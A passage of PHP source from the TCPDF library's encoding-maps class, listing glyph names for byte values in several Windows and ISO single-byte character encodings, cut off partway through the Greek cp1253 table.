TCPDF_ENCODING_MAPS { /** * Array of Encoding Maps. * @public */ public $encmap = array( // encoding map for: cp1251 'cp1251' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'afii10051',129=>'afii10052',130=>'quotesinglbase',131=>'afii10100',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'Euro',137=>'perthousand',138=>'afii10058',139=>'guilsinglleft',140=>'afii10059',141=>'afii10061',142=>'afii10060',143=>'afii10145', 144=>'afii10099',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'.notdef',153=>'trademark',154=>'afii10106',155=>'guilsinglright',156=>'afii10107',157=>'afii10109',158=>'afii10108',159=>'afii10193', 160=>'space',161=>'afii10062',162=>'afii10110',163=>'afii10057',164=>'currency',165=>'afii10050',166=>'brokenbar',167=>'section', 168=>'afii10023',169=>'copyright',170=>'afii10053',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'afii10056', 176=>'degree',177=>'plusminus',178=>'afii10055',179=>'afii10103',180=>'afii10098',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'afii10071',185=>'afii61352',186=>'afii10101',187=>'guillemotright',188=>'afii10105',189=>'afii10054',190=>'afii10102',191=>'afii10104', 192=>'afii10017',193=>'afii10018',194=>'afii10019',195=>'afii10020',196=>'afii10021',197=>'afii10022',198=>'afii10024',199=>'afii10025', 200=>'afii10026',201=>'afii10027',202=>'afii10028',203=>'afii10029',204=>'afii10030',205=>'afii10031',206=>'afii10032',207=>'afii10033', 208=>'afii10034',209=>'afii10035',210=>'afii10036',211=>'afii10037',212=>'afii10038',213=>'afii10039',214=>'afii10040',215=>'afii10041', 216=>'afii10042',217=>'afii10043',218=>'afii10044',219=>'afii10045',220=>'afii10046',221=>'afii10047',222=>'afii10048',223=>'afii10049', 224=>'afii10065',225=>'afii10066',226=>'afii10067',227=>'afii10068',228=>'afii10069',229=>'afii10070',230=>'afii10072',231=>'afii10073', 232=>'afii10074',233=>'afii10075',234=>'afii10076',235=>'afii10077',236=>'afii10078',237=>'afii10079',238=>'afii10080',239=>'afii10081', 240=>'afii10082',241=>'afii10083',242=>'afii10084',243=>'afii10085',244=>'afii10086',245=>'afii10087',246=>'afii10088',247=>'afii10089', 248=>'afii10090',249=>'afii10091',250=>'afii10092',251=>'afii10093',252=>'afii10094',253=>'afii10095',254=>'afii10096',255=>'afii10097'), // encoding map for: iso-8859-4 'iso-8859-4' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'Aogonek',162=>'kgreenlandic',163=>'Rcommaaccent',164=>'currency',165=>'Itilde',166=>'Lcommaaccent',167=>'section', 168=>'dieresis',169=>'Scaron',170=>'Emacron',171=>'Gcommaaccent',172=>'Tbar',173=>'hyphen',174=>'Zcaron',175=>'macron', 176=>'degree',177=>'aogonek',178=>'ogonek',179=>'rcommaaccent',180=>'acute',181=>'itilde',182=>'lcommaaccent',183=>'caron', 184=>'cedilla',185=>'scaron',186=>'emacron',187=>'gcommaaccent',188=>'tbar',189=>'Eng',190=>'zcaron',191=>'eng', 192=>'Amacron',193=>'Aacute',194=>'Acircumflex',195=>'Atilde',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Iogonek', 200=>'Ccaron',201=>'Eacute',202=>'Eogonek',203=>'Edieresis',204=>'Edotaccent',205=>'Iacute',206=>'Icircumflex',207=>'Imacron', 208=>'Dcroat',209=>'Ncommaaccent',210=>'Omacron',211=>'Kcommaaccent',212=>'Ocircumflex',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Uogonek',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Utilde',222=>'Umacron',223=>'germandbls', 224=>'amacron',225=>'aacute',226=>'acircumflex',227=>'atilde',228=>'adieresis',229=>'aring',230=>'ae',231=>'iogonek', 232=>'ccaron',233=>'eacute',234=>'eogonek',235=>'edieresis',236=>'edotaccent',237=>'iacute',238=>'icircumflex',239=>'imacron', 240=>'dcroat',241=>'ncommaaccent',242=>'omacron',243=>'kcommaaccent',244=>'ocircumflex',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'uogonek',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'utilde',254=>'umacron',255=>'dotaccent'), // encoding map for: cp1255 'cp1255' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'florin',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'circumflex',137=>'perthousand',138=>'.notdef',139=>'guilsinglleft',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'tilde',153=>'trademark',154=>'.notdef',155=>'guilsinglright',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'afii57636',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'multiply',171=>'guillemotleft',172=>'logicalnot',173=>'sfthyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'middot', 184=>'cedilla',185=>'onesuperior',186=>'divide',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'questiondown', 192=>'afii57799',193=>'afii57801',194=>'afii57800',195=>'afii57802',196=>'afii57793',197=>'afii57794',198=>'afii57795',199=>'afii57798', 200=>'afii57797',201=>'afii57806',202=>'.notdef',203=>'afii57796',204=>'afii57807',205=>'afii57839',206=>'afii57645',207=>'afii57841', 208=>'afii57842',209=>'afii57804',210=>'afii57803',211=>'afii57658',212=>'afii57716',213=>'afii57717',214=>'afii57718',215=>'gereshhebrew', 216=>'gershayimhebrew',217=>'.notdef',218=>'.notdef',219=>'.notdef',220=>'.notdef',221=>'.notdef',222=>'.notdef',223=>'.notdef', 224=>'afii57664',225=>'afii57665',226=>'afii57666',227=>'afii57667',228=>'afii57668',229=>'afii57669',230=>'afii57670',231=>'afii57671', 232=>'afii57672',233=>'afii57673',234=>'afii57674',235=>'afii57675',236=>'afii57676',237=>'afii57677',238=>'afii57678',239=>'afii57679', 240=>'afii57680',241=>'afii57681',242=>'afii57682',243=>'afii57683',244=>'afii57684',245=>'afii57685',246=>'afii57686',247=>'afii57687', 248=>'afii57688',249=>'afii57689',250=>'afii57690',251=>'.notdef',252=>'.notdef',253=>'afii299',254=>'afii300',255=>'.notdef'), // encoding map for: iso-8859-11 'iso-8859-11' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'kokaithai',162=>'khokhaithai',163=>'khokhuatthai',164=>'khokhwaithai',165=>'khokhonthai',166=>'khorakhangthai',167=>'ngonguthai', 168=>'chochanthai',169=>'chochingthai',170=>'chochangthai',171=>'sosothai',172=>'chochoethai',173=>'yoyingthai',174=>'dochadathai',175=>'topatakthai', 176=>'thothanthai',177=>'thonangmonthothai',178=>'thophuthaothai',179=>'nonenthai',180=>'dodekthai',181=>'totaothai',182=>'thothungthai',183=>'thothahanthai', 184=>'thothongthai',185=>'nonuthai',186=>'bobaimaithai',187=>'poplathai',188=>'phophungthai',189=>'fofathai',190=>'phophanthai',191=>'fofanthai', 192=>'phosamphaothai',193=>'momathai',194=>'yoyakthai',195=>'roruathai',196=>'ruthai',197=>'lolingthai',198=>'luthai',199=>'wowaenthai', 200=>'sosalathai',201=>'sorusithai',202=>'sosuathai',203=>'hohipthai',204=>'lochulathai',205=>'oangthai',206=>'honokhukthai',207=>'paiyannoithai', 208=>'saraathai',209=>'maihanakatthai',210=>'saraaathai',211=>'saraamthai',212=>'saraithai',213=>'saraiithai',214=>'sarauethai',215=>'saraueethai', 216=>'sarauthai',217=>'sarauuthai',218=>'phinthuthai',219=>'.notdef',220=>'.notdef',221=>'.notdef',222=>'.notdef',223=>'bahtthai', 224=>'saraethai',225=>'saraaethai',226=>'saraothai',227=>'saraaimaimuanthai',228=>'saraaimaimalaithai',229=>'lakkhangyaothai',230=>'maiyamokthai',231=>'maitaikhuthai', 232=>'maiekthai',233=>'maithothai',234=>'maitrithai',235=>'maichattawathai',236=>'thanthakhatthai',237=>'nikhahitthai',238=>'yamakkanthai',239=>'fongmanthai', 240=>'zerothai',241=>'onethai',242=>'twothai',243=>'threethai',244=>'fourthai',245=>'fivethai',246=>'sixthai',247=>'seventhai', 248=>'eightthai',249=>'ninethai',250=>'angkhankhuthai',251=>'khomutthai',252=>'.notdef',253=>'.notdef',254=>'.notdef',255=>'.notdef'), // encoding map for: cp1257 'cp1257' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'.notdef',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'.notdef',137=>'perthousand',138=>'.notdef',139=>'guilsinglleft',140=>'.notdef',141=>'dieresis',142=>'caron',143=>'cedilla', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'.notdef',153=>'trademark',154=>'.notdef',155=>'guilsinglright',156=>'.notdef',157=>'macron',158=>'ogonek',159=>'.notdef', 160=>'space',161=>'.notdef',162=>'cent',163=>'sterling',164=>'currency',165=>'.notdef',166=>'brokenbar',167=>'section', 168=>'Oslash',169=>'copyright',170=>'Rcommaaccent',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'AE', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'oslash',185=>'onesuperior',186=>'rcommaaccent',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'ae', 192=>'Aogonek',193=>'Iogonek',194=>'Amacron',195=>'Cacute',196=>'Adieresis',197=>'Aring',198=>'Eogonek',199=>'Emacron', 200=>'Ccaron',201=>'Eacute',202=>'Zacute',203=>'Edotaccent',204=>'Gcommaaccent',205=>'Kcommaaccent',206=>'Imacron',207=>'Lcommaaccent', 208=>'Scaron',209=>'Nacute',210=>'Ncommaaccent',211=>'Oacute',212=>'Omacron',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Uogonek',217=>'Lslash',218=>'Sacute',219=>'Umacron',220=>'Udieresis',221=>'Zdotaccent',222=>'Zcaron',223=>'germandbls', 224=>'aogonek',225=>'iogonek',226=>'amacron',227=>'cacute',228=>'adieresis',229=>'aring',230=>'eogonek',231=>'emacron', 232=>'ccaron',233=>'eacute',234=>'zacute',235=>'edotaccent',236=>'gcommaaccent',237=>'kcommaaccent',238=>'imacron',239=>'lcommaaccent', 240=>'scaron',241=>'nacute',242=>'ncommaaccent',243=>'oacute',244=>'omacron',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'uogonek',249=>'lslash',250=>'sacute',251=>'umacron',252=>'udieresis',253=>'zdotaccent',254=>'zcaron',255=>'dotaccent'), // encoding map for: cp1258 'cp1258' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'florin',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'circumflex',137=>'perthousand',138=>'.notdef',139=>'guilsinglleft',140=>'OE',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'tilde',153=>'trademark',154=>'.notdef',155=>'guilsinglright',156=>'oe',157=>'.notdef',158=>'.notdef',159=>'Ydieresis', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'currency',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'ordfeminine',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'cedilla',185=>'onesuperior',186=>'ordmasculine',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'questiondown', 192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Abreve',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Ccedilla', 200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'gravecomb',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Dcroat',209=>'Ntilde',210=>'hookabovecomb',211=>'Oacute',212=>'Ocircumflex',213=>'Ohorn',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Uhorn',222=>'tildecomb',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'abreve',228=>'adieresis',229=>'aring',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'acutecomb',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'dcroat',241=>'ntilde',242=>'dotbelowcomb',243=>'oacute',244=>'ocircumflex',245=>'ohorn',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'uhorn',254=>'dong',255=>'ydieresis'), // encoding map for: cp1253 'cp1253' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'florin',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'.notdef',137=>'perthousand',138=>'.notdef',139=>'guilsinglleft',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'.notdef',153=>'trademark',154=>'.notdef',155=>'guilsinglright',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'dieresistonos',162=>'Alphatonos',163=>'sterling',164=>'currency',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'.notdef',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'afii00208', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'tonos',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'Epsilontonos',185=>'Etatonos',186=>'Iotatonos',187=>'guillemotright',188=>'Omicrontonos',189=>'onehalf',190=>'Upsilontonos',191=>'Omegatonos', 192=>'iotadieresistonos',193=>'Alpha',194=>'Beta',195=>'Gamma',196=>'Delta',197=>'Epsilon',198=>'Zeta',199=>'Eta', 200=>'Theta',201=>'Iota',202=>'Kappa',203=>'Lambda',204=>'Mu',205=>'Nu',206=>'Xi',207=>'Omicron', 208=>'Pi',209=>'Rho',210=>'.notdef',211=>'Sigma',212=>'Tau',213=>'Upsilon',214=>'Phi',215=>'Chi', 216=>'Psi',217=>'Omega',218=>'Iotadieresis',219=>'Upsilondieresis',220=>'alphatonos',221=>'epsilontonos',222=>'etatonos',223=>'iotatonos', 